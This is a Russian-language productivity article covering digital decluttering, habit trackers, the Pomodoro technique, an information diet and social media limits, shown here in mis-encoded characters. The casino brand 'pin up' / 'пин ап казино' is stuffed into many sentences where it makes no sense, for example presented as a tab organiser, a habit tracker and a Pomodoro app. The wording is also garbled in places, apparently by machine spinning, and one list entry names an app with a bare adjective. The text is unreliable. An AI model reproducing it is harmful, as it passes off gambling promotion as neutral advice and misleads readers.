    Π”Π°Π½Π½Ρ‹Π΅ услуги ΠΏΡ€Π΅Π΄ΠΎΡΡ‚Π°Π²Π»ΡΡŽΡ‚ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ ΡΠ²ΡΠ·Π°Ρ‚ΡŒ Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Π΅ прилоТСния Π΄Ρ€ΡƒΠ³ с Π΄Ρ€ΡƒΠ³ΠΎΠΌ: ΠΊ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Ρƒ, ΡΠΎΡ…Ρ€Π°Π½ΡΡ‚ΡŒ Π°Ρ‚Ρ‚Π°Ρ‡ΠΌΠ΅Π½Ρ‚Ρ‹ ΠΈΠ· элСктронной ΠΏΠΎΡ‡Ρ‚Ρ‹ прямо Π² ΠΎΠ±Π»Π°ΠΊΠΎ ΠΈΠ»ΠΈ ΠΏΠΎ Ρ€Π°ΡΠΏΠΈΡΠ°Π½ΠΈΡŽ автоматичСски Ρ€Π°Π·ΠΌΠ΅Ρ‰Π°Ρ‚ΡŒ ΠΏΡƒΠ±Π»ΠΈΠΊΠ°Ρ†ΠΈΠΈ Π² ΡΠΎΡ†ΠΈΠ°Π»ΡŒΠ½Ρ‹Ρ… сСтях.

Автоматизация особСнно ΠΏΠΎΠ»Π΅Π·Π½Π° студСнтам ΠΈ ΡŽΠ½Ρ‹ΠΌ профСссионалам: скаТСм, ΠΏΠ»Π°Ρ‚Ρ„ΠΎΡ€ΠΌΠ° pin up сохраняСт массу Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ Π² мСсяц Π½Π° ΠΎΠ±Ρ‹Π΄Π΅Π½Π½Ρ‹Ρ… опСрациях.

Π£Ρ…ΠΎΠ΄ Π²ΠΈΡ€Ρ‚ΡƒΠ°Π»ΡŒΠ½ΠΎΠ³ΠΎ срСды

Π‘ΠΎΠ»ΡŒΡˆΠΈΠ½ΡΡ‚Π²ΠΎ Π½Π΅Π΄ΠΎΠΎΡ†Π΅Π½ΠΈΠ²Π°ΡŽΡ‚ воздСйствиС ΠΎΡ€Π³Π°Π½ΠΈΠ·Π°Ρ†ΠΈΠΈ Π² ΠΎΠ½Π»Π°ΠΉΠ½ ΠΌΠΈΡ€Π΅ Π½Π° ΠΏΡ€ΠΎΠ΄ΡƒΠΊΡ‚ΠΈΠ²Π½ΠΎΡΡ‚ΡŒ. Π—Π°Ρ…Π»Π°ΠΌΠ»Π΅Π½Π½Ρ‹ΠΉ офисный стол ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€Π° ΠΈΠ»ΠΈ ΠΏΡ€ΠΈΠΌΠ΅Π½Π΅Π½ΠΈΠ΅ систСмы ΠΏΠΈΠ½ Π°ΠΏ ΠΊΠ°Π·ΠΈΠ½ΠΎ для упорядочивания Ρ‚Π°Π±ΠΎΠ² ΠΌΠΎΠΆΠ΅Ρ‚ сущСствСнно ΠΎΠΏΡ‚ΠΈΠΌΠΈΠ·ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅ ΠΈ ΠΏΡ€Π΅Π΄ΠΎΡ‚Π²Ρ€Π°Ρ‚ΠΈΡ‚ΡŒ ΠΊΠΎΠ³Π½ΠΈΡ‚ΠΈΠ²Π½ΠΎΠ΅ истощСниС Ρ‚Π°ΠΊ ΠΆΠ΅ сильно, ΠΊΠ°ΠΊ бСспорядок Π½Π° ΠΎΠ±Ρ‹Ρ‡Π½ΠΎΠΌ столС.

Каким способом ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Ρ‚ΡŒ чистоту

  • Π•ΠΆΠ΅Π½Π΅Π΄Π΅Π»ΡŒΠ½Π°Ρ ΡƒΠ±ΠΎΡ€ΠΊΠ° Ρ„Π°ΠΉΠ»ΠΎΠ²
    ΠžΡ€Π³Π°Π½ΠΈΠ·ΡƒΠΉΡ‚Π΅ Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠΈ, ΡƒΠ΄Π°Π»ΠΈΡ‚Π΅ Π½Π΅Π²Π°ΠΆΠ½Ρ‹Π΅ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Ρ‹ ΠΈ пСрСнСситС ΠΊΠ»ΡŽΡ‡Π΅Π²Ρ‹Π΅ Π΄Π°Π½Π½Ρ‹Π΅ Π² подходящиС ΠΊΠ°Ρ‚Π°Π»ΠΎΠ³ΠΈ.
  • МинимальноС количСство Π°ΠΊΡ‚ΠΈΠ²Π½Ρ‹Ρ… Π²ΠΊΠ»Π°Π΄ΠΎΠΊ
    Π˜ΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅ инструмСнты Π²ΠΊΠ»Π°Π΄ΠΎΠΊ (OneTab ΠΈΠ»ΠΈ встроСнныС ΠΎΠΏΡ†ΠΈΠΈ Π²Π΅Π±-ΠΎΠ±ΠΎΠ·Ρ€Π΅Π²Π°Ρ‚Π΅Π»Π΅ΠΉ), Ρ‡Ρ‚ΠΎΠ±Ρ‹ Ρ…Ρ€Π°Π½ΠΈΡ‚ΡŒ ссылки Π±Π΅Π· потрСбности Π΄Π΅Ρ€ΠΆΠ°Ρ‚ΡŒ массу ΠΎΡ‚ΠΊΡ€Ρ‹Ρ‚Ρ‹Ρ… Π²ΠΊΠ»Π°Π΄ΠΎΠΊ.
  • УпорядочиваниС ΠΏΠ°ΠΏΠΎΠΊ ΠΏΠΎ заданиям
    Π‘Ρ‚Ρ€ΡƒΠΊΡ‚ΡƒΡ€ΠΈΡ€ΡƒΠΉΡ‚Π΅ Ρ„Π°ΠΉΠ»Ρ‹ ΠΏΠΎ катСгориям: ΠΎΠ±ΡƒΡ‡Π΅Π½ΠΈΠ΅/трудовая Π΄Π΅ΡΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ/ΠΏΠ΅Ρ€ΡΠΎΠ½Π°Π»ΡŒΠ½ΠΎΠ΅/развлСчСния. Π”Π°Π½Π½ΠΎΠ΅ Π΄Π΅Π»Π°Π΅Ρ‚ Π»Π΅Π³Ρ‡Π΅ поиск Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎΠ³ΠΎ Ρ„Π°ΠΉΠ»Π° Π² Ρ‚Π΅Ρ‡Π΅Π½ΠΈΠ΅ сСкунды.
  • Π‘ΠΎΡ…Ρ€Π°Π½Π΅Π½ΠΈΠ΅ ΡƒΡΡ‚Π°Ρ€Π΅Π²ΡˆΠΈΡ… ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ
    Π₯Ρ€Π°Π½ΠΈΡ‚Π΅ Π½Π΅Π°ΠΊΡ‚ΡƒΠ°Π»ΡŒΠ½Ρ‹Π΅ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Ρ‹ Π²ΠΎ Π²Π½Π΅ΡˆΡ‚Π°Ρ‚Π½ΠΎΠΌ Π°Ρ€Ρ…ΠΈΠ²Π΅ (ΠΎΠ±Π»Π°Ρ‡Π½ΠΎΠ΅ Ρ…Ρ€Π°Π½ΠΈΠ»ΠΈΡ‰Π΅ ΠΈΠ»ΠΈ внСшний диск), Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΠ½ΠΈ Π½Π΅ затрудняли Π°ΠΊΡ‚ΡƒΠ°Π»ΡŒΠ½ΠΎΠΉ Ρ€Π°Π±ΠΎΡ‚Π΅.

ΠšΠΎΠΌΠΏΠ΅Ρ‚Π΅Π½Ρ‚Π½Π°Ρ структуризация Ρ†ΠΈΡ„Ρ€ΠΎΠ²ΠΎΠ³ΠΎ пространства, скаТСм с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ ΠΏΠ»Π°Ρ‚Ρ„ΠΎΡ€ΠΌΡ‹ ΠΏΠΈΠ½ Π°ΠΏ ΠΊΠ°Π·ΠΈΠ½ΠΎ, обСспСчиваСт Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ скорСС Π½Π°Ρ…ΠΎΠ΄ΠΈΡ‚ΡŒ Ρ‚Ρ€Π΅Π±ΡƒΠ΅ΠΌΡƒΡŽ Π΄Π°Π½Π½Ρ‹Π΅ ΠΈ ΡƒΠΌΠ΅Π½ΡŒΡˆΠ°Π΅Ρ‚ ΡƒΡ€ΠΎΠ²Π΅Π½ΡŒ трСвоТности ΠΎΡ‚ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΎΠ½Π½ΠΎΠ³ΠΎ ΡˆΡƒΠΌΠ°.

ΠŸΡ€ΠΈΠΌΠ΅Π½Π΅Π½ΠΈΠ΅ Ρ‚Ρ€Π΅ΠΊΠ΅Ρ€ΠΎΠ² ΠΏΡ€ΠΈΠ²Ρ‹Ρ‡Π΅ΠΊ

Для формирования Π½ΠΎΠ²Ρ‹Ρ… Π·Π΄ΠΎΡ€ΠΎΠ²Ρ‹Ρ… ΠΏΡ€ΠΈΠ²Ρ‹Ρ‡Π΅ΠΊ ΠΏΡ€Π΅Π΄Π½Π°Π·Π½Π°Ρ‡Π΅Π½Ρ‹ ΡΠΏΠ΅Ρ†ΠΈΠ°Π»ΡŒΠ½Ρ‹Π΅ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΡ‹-Ρ‚Ρ€Π΅ΠΊΠ΅Ρ€Ρ‹ (habit trackers). Π­Ρ‚ΠΈ инструмСнты ΠΏΠΈΠ½ Π°ΠΏ ΠΊΠ°Π·ΠΈΠ½ΠΎ ΡΠΏΠΎΡΠΎΠ±ΡΡ‚Π²ΡƒΡŽΡ‚ ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ Ρ€Π΅Π°Π»ΠΈΠ·Π°Ρ†ΠΈΡŽ повсСднСвных активностСй: физичСскиС упраТнСния с ΡƒΡ‚Ρ€Π°, Ρ‡Ρ‚Π΅Π½ΠΈΠ΅ ΠΊΠ½ΠΈΠ³ ΠΈΠ»ΠΈ мСдитация ΠΏΠ΅Ρ€Π΅Π΄ сном.

ΠžΠ±Ρ€Π°Π·Ρ†Ρ‹ популярных Ρ‚Ρ€Π΅ΠΊΠ΅Ρ€ΠΎΠ²

Π’ Π Π€ сСгмСнтС особСнно Π½ΡƒΠΆΠ½Ρ‹ Ρ‚Π°ΠΊΠΈΠ΅ прилоТСния:

  • Habitica – Π³Π΅ΠΉΠΌΠΈΡ„ΠΈΡ†ΠΈΡ€ΠΎΠ²Π°Π½Π½Ρ‹ΠΉ ΠΏΠΎΠ΄Ρ…ΠΎΠ΄ ΠΊ ΠΏΡ€ΠΈΠ²Ρ‹Ρ‡ΠΊΠ°ΠΌ;
  • ΠŸΠΎΡ‚Ρ€ΡΡΠ°ΡŽΡ‰ΠΈΠ΅ – Π½Π°ΡƒΡ‡Π½ΠΎ обоснованныС прСдлоТСния ΠΏΠΎ Ρ„ΠΎΡ€ΠΌΠΈΡ€ΠΎΠ²Π°Π½ΠΈΡŽ благоприятных Ρ€ΠΈΡ‚ΡƒΠ°Π»ΠΎΠ²;
  • Loop Habit Tracker – минималистичный Ρ‚Ρ€Π΅ΠΊΠ΅Ρ€ Π»ΠΈΡˆΠ΅Π½Π½Ρ‹ΠΉ Π»ΠΈΡˆΠ½ΠΈΡ… Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ;
  • Streaks (для iOS) – ΠΏΡ€ΠΈΠ²Π»Π΅ΠΊΠ°Ρ‚Π΅Π»ΡŒΠ½Ρ‹ΠΉ интСрфСйс ΠΈ практичная статистика выполнСния Ρ†Π΅Π»Π΅ΠΉ.

ИспользованиС отслСТиватСлСй pin up ΠΏΠΎΠΌΠΎΠ³Π°Π΅Ρ‚ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°Ρ‚ΡŒ прогрСсс: Π²ΠΈΠ΄Π΅Ρ‚ΡŒ «Ρ†Π΅ΠΏΠΎΡ‡ΠΊΡƒ» Π·Π°Π²Π΅Ρ€ΡˆΠ΅Π½Π½Ρ‹Ρ… Π΄Π½Π΅ΠΉ подряд стимулируСт вСсти дальшС Π½Π°Ρ‡Π°Ρ‚ΠΎΠ΅ Π΄Π°ΠΆΠ΅ Ρ‚ΠΎΠ³Π΄Π°, ΠΊΠΎΠ³Π΄Π° Ρ€Π²Π΅Π½ΠΈΠ΅ угасаСт.

ΠŸΡ€ΠΎΠ΄ΡƒΠΊΡ‚ΠΈΠ²Π½ΠΎΠ΅ использованиС ΠΏΠ΅Ρ€ΠΈΠΎΠ΄Π° с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ сСкундомСров

Π•Π΄Π½Π° ΠΈΠ· ΠΎΡ‡Π΅Π½ΡŒ дСйствСнных ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠ² увСличСния продуктивности – Ρ‚Π΅Ρ…Π½ΠΈΠΊΠ° «ΠŸΠΎΠΌΠΈΠ΄ΠΎΡ€Π°» (Pomodoro Technique). Π­Ρ‚Ρƒ Ρ‚Π΅Ρ…Π½ΠΈΠΊΡƒ ΠΏΡ€ΠΈΠ΄ΡƒΠΌΠ°Π» ЀранчСско Π§ΠΈΡ€ΠΈΠ»Π»ΠΎ Π΅Ρ‰Π΅ Π² ΠΊΠΎΠ½Ρ†Π΅ 1980-Ρ… Π³ΠΎΠ΄ΠΎΠ²; сСгодня ΠΎΠ½ ΠΏΠ΅Ρ€Π΅ΠΆΠΈΠ²Π°Π΅Ρ‚ Π½ΠΎΠ²ΡƒΡŽ Тизнь благодаря Π±ΠΎΠ»ΡŒΡˆΠΎΠΌΡƒ количСству спСциализированных ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠΉ для Π³Π°Π΄ΠΆΠ΅Ρ‚ΠΎΠ² ΠΈ ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€ΠΎΠ².

Π‘ΡƒΡ‚ΡŒ ΠΌΠ΅Ρ‚ΠΎΠ΄Π° «ΠŸΠΎΠΌΠΈΠ΄ΠΎΡ€Π°»

Π’Ρ€ΡƒΠ΄ дСлится Π½Π° ΠΈΠ½Ρ‚Π΅Ρ€Π²Π°Π»Ρ‹ ΠΏΠΎ 25 ΠΌΠΈΠ½ΡƒΡ‚ΠΎΠΊ («ΠΏΠΎΠΌΠΈΠ΄ΠΎΡ€Ρ‹»), Π² ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… ΠΏΠΈΠ½ Π°ΠΏ ΠΌΠΎΠΆΠ΅Ρ‚ ΡΠΎΠ΄Π΅ΠΉΡΡ‚Π²ΠΎΠ²Π°Ρ‚ΡŒ ΠΎΡ‚ΡΠ»Π΅ΠΆΠΈΠ²Π°Ρ‚ΡŒ Ρ‚Π°ΠΉΠΌΠΈΠ½Π³, ΠΌΠ΅ΠΆΠ΄Ρƒ ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌΠΈ ΡƒΡΡ‚Ρ€Π°ΠΈΠ²Π°ΡŽΡ‚ΡΡ ΠΊΠΎΡ€ΠΎΡ‚ΠΊΠΈΠ΅ ΠΏΠ°ΡƒΠ·Ρ‹ (5 ΠΌΠΈΠ½ΡƒΡ‚). ПослС 4 Ρ‚Π°ΠΊΠΈΡ… сСрий наступаСт Π΄ΠΎΠ»Π³ΠΈΠΉ ΠΎΡ‚Π΄Ρ‹Ρ… (15–30 ΠΌΠΈΠ½ΡƒΡ‚ΠΎΠΊ).

Π­Ρ‚ΠΎΡ‚ ΠΌΠ΅Ρ‚ΠΎΠ΄ способствуСт ΡΠΏΡ€Π°Π²Π»ΡΡ‚ΡŒΡΡ с прокрастинациСй: зная, Ρ‡Ρ‚ΠΎ прСдстоит всСго 25 ΠΌΠΈΠ½ΡƒΡ‚ ΠΊΠΎΠ½Ρ†Π΅Π½Ρ‚Ρ€ΠΈΡ€ΠΎΠ²Π°Π½Π½ΠΎΠΉ Ρ€Π°Π±ΠΎΡ‚Ρ‹ ΠΏΠ΅Ρ€Π΅Π΄ ΠΏΠ°ΡƒΠ·ΠΎΠΉ, ΠΌΠΎΠ·Π³ Π»Π΅Π³Ρ‡Π΅ ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°Π΅Ρ‚ Ρ€Π΅ΡˆΠ΅Π½ΠΈΠ΅ Π½Π°Ρ‡Π°Ρ‚ΡŒ Π΄Π΅Π»ΠΎ Π΄Π°ΠΆΠ΅ Ссли ΠΎΠ½ΠΎ каТСтся Ρ‚Ρ€ΡƒΠ΄Π½Ρ‹ΠΌ ΠΈΠ»ΠΈ Π½ΡƒΠ΄Π½Ρ‹ΠΌ.

ΠΠ°ΠΈΠ»ΡƒΡ‡ΡˆΠΈΠ΅ прилоТСния для Pomodoro

Π‘Ρ€Π΅Π΄ΠΈ русскоговорящих ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΉ вострСбованы:

  • Direct To-Do
  • Pomodone
  • Tomato Timekeeper (Π²Π΅Π±-сСрвис)
  • Attention Amplifier

НСкоторыС ΠΈΠ· этих ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠΉ ΠΏΠΈΠ½ Π°ΠΏ ΠΊΠ°Π·ΠΈΠ½ΠΎ Π²ΡΡ‚Ρ€Π°ΠΈΠ²Π°ΡŽΡ‚ΡΡ с расписаниями ΠΈΠ»ΠΈ списками Π·Π°Π΄Π°Ρ‡ – это обСспСчиваСт Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ ΠΎΡ‚ΡΠ»Π΅ΠΆΠΈΠ²Π°Ρ‚ΡŒ Ρ€Π°Π±ΠΎΡ‡ΡƒΡŽ статистику Π½Π°Π΄ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹ΠΌΠΈ Π·Π°Π΄Π°Ρ‡Π°ΠΌΠΈ Π·Π° нСдСлю ΠΈΠ»ΠΈ мСсяц.

Π”Π°Π½Π½Ρ‹Π΅ Π΄ΠΈΠ΅Ρ‚Π°: сСлСкция ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π°

Масса ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ ΠΎΠΊΠΎΠ»ΠΎ нас с Π²Π°ΠΌΠΈ возрастаСт ΡΠΊΡΠΏΠΎΠ½Π΅Π½Ρ†ΠΈΠ°Π»ΡŒΠ½ΠΎ: ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΎΠ½Π½Ρ‹Π΅ сообщСния ΠΎΠ±Π½ΠΎΠ²Π»ΡΡŽΡ‚ΡΡ Π² Ρ€Π΅Π°Π»ΡŒΠ½ΠΎΠΌ Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ Π΅ΠΆΠ΅ΠΌΠΈΠ½ΡƒΡ‚Π½ΠΎ, соцсСти ΠΏΡ€ΠΈΠ²Π»Π΅ΠΊΠ°ΡŽΡ‚ Π½Π΅ΠΏΡ€Π΅Ρ€Ρ‹Π²Π½Ρ‹ΠΌ ΠΏΠΎΡ‚ΠΎΠΊΠΎΠΌ ΠΌΠ΅ΠΌΠΎΠ² ΠΈ Ρ€ΠΎΠ»ΠΈΠΊΠΎΠ²…. НСслоТно ΠΏΠΎΡ‚Π΅Ρ€ΡΡ‚ΡŒΡΡ Π²Π½ΡƒΡ‚Ρ€ΠΈ Π΄Π°Π½Π½ΠΎΠ³ΠΎ объСма свСдСний! ΠšΠΎΡ€Ρ€Π΅ΠΊΡ‚Π½Π°Ρ мСдийная Ρ€Π΅ΠΆΠΈΠΌ ΠΏΠΎΠΌΠΎΠ³Π°Π΅Ρ‚ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Ρ‚ΡŒ фокус Π½Π° Π΄Π΅ΠΉΡΡ‚Π²ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ Π·Π½Π°Ρ‡ΠΈΠΌΡ‹Ρ… аспСктах.

Подсказки ΠΏΠΎ Π΄Π°Π½Π½ΠΎΠΉ чистотС

  1. Π‘Π»Π΅Π΄ΠΈΡ‚Π΅ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π½Π° Ρ†Π΅Π½Π½Ρ‹Π΅ Ρ‡Π°Ρ‚Ρ‹

    ΠžΡ‚ΠΏΠΈΡˆΠΈΡ‚Π΅ΡΡŒ ΠΎΡ‚ Π·Π°Π±Π°Π²Π½Ρ‹Ρ… сообщСств Ρ€Π°Π΄ΠΈ ΡΠ°ΠΌΠΎΡΠΎΠ²Π΅Ρ€ΡˆΠ΅Π½ΡΡ‚Π²ΠΎΠ²Π°Π½ΠΈΡ; ΠΎΡΡ‚Π°Π²ΡŒΡ‚Π΅ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Ρ‚Π΅ ΠΊΠ°Π½Π°Π»Ρ‹ Π΄Π°Π½Π½Ρ‹Ρ…, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Ρ€Π΅Π°Π»ΡŒΠ½ΠΎ приносят ΠΏΠΎΠ»ΡŒΠ·Ρƒ.

  2. ΠŸΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅ΡΡŒ RSS-Ρ‡ΠΈΡ‚Π°Π»ΠΊΠΈ

    ΠŸΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΡ‹ Ρ‚ΠΈΠΏΠ° Feedly ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡŽΡ‚ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡΠΌ Π°Π³Ρ€Π΅Π³ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ новостныС ΡΡ‚Π°Ρ‚ΡŒΠΈ ΠΈΠ· многочислСнных ΠΊΠ°Π½Π°Π»ΠΎΠ² Π±Π΅Π· лишнСй Ρ€Π΅ΠΊΠ»Π°ΠΌΠ½Ρ‹Ρ… Π±Π°Π½Π½Π΅Ρ€ΠΎΠ².

  3. Π‘ΠΎΠΊΡ€Π°Ρ‚ΠΈΡ‚Π΅ ΠΏΡ€ΠΎΠ΄ΠΎΠ»ΠΆΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ чтСния новостСй.

    Π—Π°Π΄Π°ΠΉΡ‚Π΅ сСбС установку ΠΌΠΎΠ½ΠΈΡ‚ΠΎΡ€ΠΈΡ‚ΡŒ новости Π΄Π²Π°ΠΆΠ΄Ρ‹ Π² сутки – Π² ΡƒΡ‚Ρ€Π΅Π½Π½ΠΈΠ΅ часы ΠΈ Π² Π²Π΅Ρ‡Π΅Ρ€Π½Π΅Π΅ врСмя; Π΄Ρ€ΡƒΠ³ΠΎΠ΅ ΠΏΠ΅Ρ€ΠΈΠΎΠ΄ посвятитС Ρ‚Ρ€ΡƒΠ΄Ρƒ/ΡƒΡ‡Π΅Π±Π΅/ΠΎΡ‚Π΄Ρ‹Ρ…Ρƒ.

  4. ΠžΠ³Ρ€Π°Π½ΠΈΡ‡ΠΈΠ²Π°ΠΉΡ‚Π΅ Ρ€Π°Π·Π΄Ρ€Π°ΠΆΠ°ΡŽΡ‰ΠΈΠ΅ ΠΈΠ½Ρ‚Π΅Ρ€Π½Π΅Ρ‚-рСсурсы

    Π‘ΡƒΡ‰Π΅ΡΡ‚Π²ΡƒΡŽΡ‚ ΠΏΠ»Π°Π³ΠΈΠ½Ρ‹ для Π²Π΅Π±-ΠΎΠ±ΠΎΠ·Ρ€Π΅Π²Π°Ρ‚Π΅Π»Π΅ΠΉ (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, StayFocusd), ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π»ΠΈΠΌΠΈΡ‚ΠΈΡ€ΡƒΡŽΡ‚ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ доступа ΠΊ ΡΠΎΡ†ΠΈΠ°Π»ΡŒΠ½Ρ‹ΠΌ сСтям послС ΠΏΡ€Π΅Π²Ρ‹ΡˆΠ΅Π½ΠΈΡ Π»ΠΈΠΌΠΈΡ‚Π° Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ Π·Π° дСнь.

  5. ΠŸΠ»Π°Π½ΠΈΡ€ΡƒΠΉΡ‚Π΅ ΠΏΠΎΡ‚Ρ€Π΅Π±Π»Π΅Π½ΠΈΠ΅ содСрТимого

    НапримСр: ΠΈΠ·ΡƒΡ‡Π°Ρ‚ΡŒ ΠΏΡƒΠ±Π»ΠΈΠΊΠ°Ρ†ΠΈΠΈ Π² Ρ…ΠΎΠ΄Π΅ ΠΏΡ€ΠΈΠ΅ΠΌΠ° ΠΏΠΈΡ‰ΠΈ Π² ΠΎΡ‚Π»ΠΈΡ‡ΠΈΠ΅ ΠΎΡ‚ Π±Π΅Π·Π΄ΡƒΠΌΠ½ΠΎΠ³ΠΎ пСрСлистывания Π»Π΅Π½Ρ‚Ρ‹ TikTok ΠΏΠ΅Ρ€Π΅Π΄ сном; Π²ΠΊΠ»ΡŽΡ‡Π°Ρ‚ΡŒ ΠΏΠΎΠ·Π½Π°Π²Π°Ρ‚Π΅Π»ΡŒΠ½Ρ‹Π΅ подкасты Π²ΠΎ врСмя Π΄ΠΎΡ€ΠΎΠ³ΠΈ вмСсто случайной ΠΌΡƒΠ·Ρ‹ΠΊΠΈ ΠΈΠ· Ρ‚Ρ€Π΅Π½Π΄ΠΎΠ² YouTube Music.

Π˜Π½Ρ„ΠΎΡ€ΠΌΠ°Ρ‚ΠΈΠ²Π½Π°Ρ Ρ€Π°Ρ†ΠΈΠΎΠ½ ΠΏΠΎΠΌΠΎΠ³Π°Π΅Ρ‚ ΡΠΎΡ…Ρ€Π°Π½ΠΈΡ‚ΡŒ ΡΡΠ½ΠΎΡΡ‚ΡŒ ΡƒΠΌΠ° Π΄Π°ΠΆΠ΅ Π² эпоху Π²ΡΠ΅ΠΎΠ±ΡŠΠ΅ΠΌΠ»ΡŽΡ‰Π΅Π³ΠΎ ΠΈΠ½Ρ„ΠΎΡˆΡƒΠΌΠ°!

Π Π°Π·ΡƒΠΌΠ½ΠΎΠ΅ использованиС соцсСтСй

Π‘Π΅Ρ‚Π΅Π²Ρ‹Π΅ сСти ΠΈΠ·Π΄Π°Π²Π½Π° ΠΏΡ€Π΅Π²Ρ€Π°Ρ‚ΠΈΠ»ΠΈΡΡŒ Π² ΡΠΎΡΡ‚Π°Π²Π»ΡΡŽΡ‰Π΅ΠΉ повсСднСвности ΡŽΠ½Ρ‹Ρ… личностСй: Π² этом мСстС ΠΎΠ±Ρ‰Π°ΡŽΡ‚ΡΡ с приятСлями, Ρ€Π°Π·Π±ΠΈΡ€Π°ΡŽΡ‚ новости ΠΌΠΈΡ€Π° Ρ‚Π΅Ρ…Π½ΠΎΠ»ΠΎΠ³ΠΈΠΉ, ΠΈΠ»ΠΈ Π½Π°Π±Π»ΡŽΠ΄Π°ΡŽΡ‚ Π²ΠΈΠ΄Π΅ΠΎΠΌΠ°Ρ‚Π΅Ρ€ΠΈΠ°Π»Ρ‹ ΠΎ соврСмСнных Π³Π°Π΄ΠΆΠ΅Ρ‚Π°Ρ…… Π’Π΅ΠΌ Π½Π΅ ΠΌΠ΅Π½Π΅Π΅ слСдуСт ΠΎΡΠΎΠ·Π½Π°Π²Π°Ρ‚ΡŒ насчСт балансС ΠΌΠ΅ΠΆΠ΄Ρƒ Π²Ρ‹Π³ΠΎΠ΄ΠΎΠΉ ΠΊΠΎΠΌΠΌΡƒΠ½ΠΈΠΊΠ°Ρ†ΠΈΠΈ Π² ΠΈΠ½Ρ‚Π΅Ρ€Π½Π΅Ρ‚Π΅ ΠΈ ΠΎΠΏΠ°ΡΠ½ΠΎΡΡ‚ΡŒΡŽ бСссмыслСнной Ρ‚Ρ€Π°Ρ‚Ρ‹ Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ!

Π’Π΅Ρ…Π½ΠΈΠΊΠΈ контроля Ρ‚Π°ΠΉΠΌ-ΠΌΠ΅Π½Π΅Π΄ΠΆΠΌΠ΅Π½Ρ‚Π° Π² соцсСтях

ΠžΠΏΡ€Π΅Π΄Π΅Π»ΠΈΡ‚Π΅ ΠΏΡ€Π΅Π΄Π΅Π»Ρ‹: Π°ΠΊΡ‚ΡƒΠ°Π»ΡŒΠ½Ρ‹Π΅ смартфоны ΠΏΡ€Π΅Π΄ΠΎΡΡ‚Π°Π²Π»ΡΡŽΡ‚ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ Π²Ρ‹ΡΡ‚Π°Π²Π»ΡΡ‚ΡŒ ΠΏΡ€Π΅Π΄Π΅Π»Ρ‹ Π½Π° ΠΏΡ€ΠΈΠΌΠ΅Π½Π΅Π½ΠΈΠ΅ ΡΠΎΡ†ΠΈΠ°Π»ΡŒΠ½Ρ‹Ρ… ΠΌΠ΅Π΄ΠΈΠ° ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠΉ (ΠΊΠ°ΠΊ Π²Π°Ρ€ΠΈΠ°Π½Ρ‚, Screen Time Π½Π° iOS ΠΈΠ»ΠΈ Digital Wellbeing Π½Π° Android).

